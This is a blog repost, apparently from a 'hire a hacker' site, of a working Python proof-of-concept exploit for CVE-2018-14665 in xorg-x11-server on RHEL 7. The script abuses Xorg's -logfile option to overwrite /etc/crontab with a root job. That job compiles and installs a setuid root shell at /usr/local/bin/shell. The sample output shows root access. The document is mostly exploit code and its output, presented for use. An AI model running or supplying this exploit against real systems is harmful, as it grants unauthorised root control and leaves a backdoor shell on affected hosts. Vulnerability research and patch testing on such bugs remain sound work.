Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863541955

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: xorg-x11-server < 1.20.1 - Local Privilege Escalation (RHEL 7)
# Date: 2018-11-07
# Exploit Author: @bolonobolo
# Vendor Homepage: https://www.x.org/
# Version: 1.19.5
# Tested on: RHEL 7.3 && 7.5
# CVE : CVE-2018-14665
# Explanation
# The only condition that have to be met for this PE to work via SSH, is that the legitimate non-root user 
# has to be logged in trought console at the moment the PE script launched.
# In fact during the logged in session of the legitimate non-root user, 
# a file with the name of the non-root user will be created in the /var/run/console folder. 
# With that file present, the same non-root user can launch a Xorg command via SSH. 
# 
# Usage: $ python poc.py
# $ python poc.py 
# [*] Waiting for bolo to connect to the console
# [*] OK --> bolo console opened
# [*] Building root shell wait 2 minutes
# [*] crontab overwritten
# 
# ... cut Xorg output ...
# 
# [*] Xorg killed
# (II) Server terminated successfully (0). Closing log file.
# [*] Don't forget to cleanup /etc/crontab and /tmp dir
# sh-4.2# id && whoami
# uid=0(root) gid=0(root) gruppi=0(root),1001(bolo)
# root
# sh-4.2#


#!/usr/bin/python
import os
import getpass
import subprocess

userList = []
path="/var/run/console/"

def getWhoami():
	return getpass.getuser()

def getConsole(path):
	p = subprocess.Popen(["ls", path], stdout=subprocess.PIPE)
	(console, err) = p.communicate()
	consoleList = str.splitlines(console)
	return consoleList

def payload():
	f = open("/tmp/payload", "w")
	payload = ("cp /bin/sh /usr/local/bin/shell\n" 
			"echo \"#include <stdio.h> \" > /tmp/shell.c\n"
   			"echo \"#include <stdlib.h>\" >> /tmp/shell.c\n"
   			"echo \"#include <sys/types.h>\" >> /tmp/shell.c\n"
   			"echo \"#include <unistd.h>\" >> /tmp/shell.c\n"
			"echo 'int main(){setuid(0);setgid(0);system(\"/bin/sh\");}' >> /tmp/shell.c\n"
			"gcc /tmp/shell.c -o /usr/local/bin/shell\n"
			"chmod 4777 /usr/local/bin/shell\n")
	f.write(payload)	
	
def executePayload():	
	os.system("chmod +x /tmp/payload")
	os.system("cd /etc; Xorg -fp \"* * * * * root /tmp/payload\" -logfile crontab :1 &")
	print "[*] crontab overwritten"
	os.system("sleep 5")
	os.system("pkill Xorg")
	print "[*] Xorg killed"
	os.system("sleep 120")
	return

def main():
	whoami = getWhoami()
	print "[*] Waiting for " + whoami + " to connect to the console"
	i = 0
	while (i == 0):
		consoleList = getConsole(path)
		for user in consoleList:
			if user == whoami :
				print "[*] OK --> " + user + " console opened"
				i = 1
	print "[*] Building root shell wait 2 minutes"
	payload()
	executePayload()
	print "[*] Don't forget to cleanup /etc/crontab and /tmp dir"
	os.system("/usr/local/bin/shell")			

if __name__ == '__main__':
	main()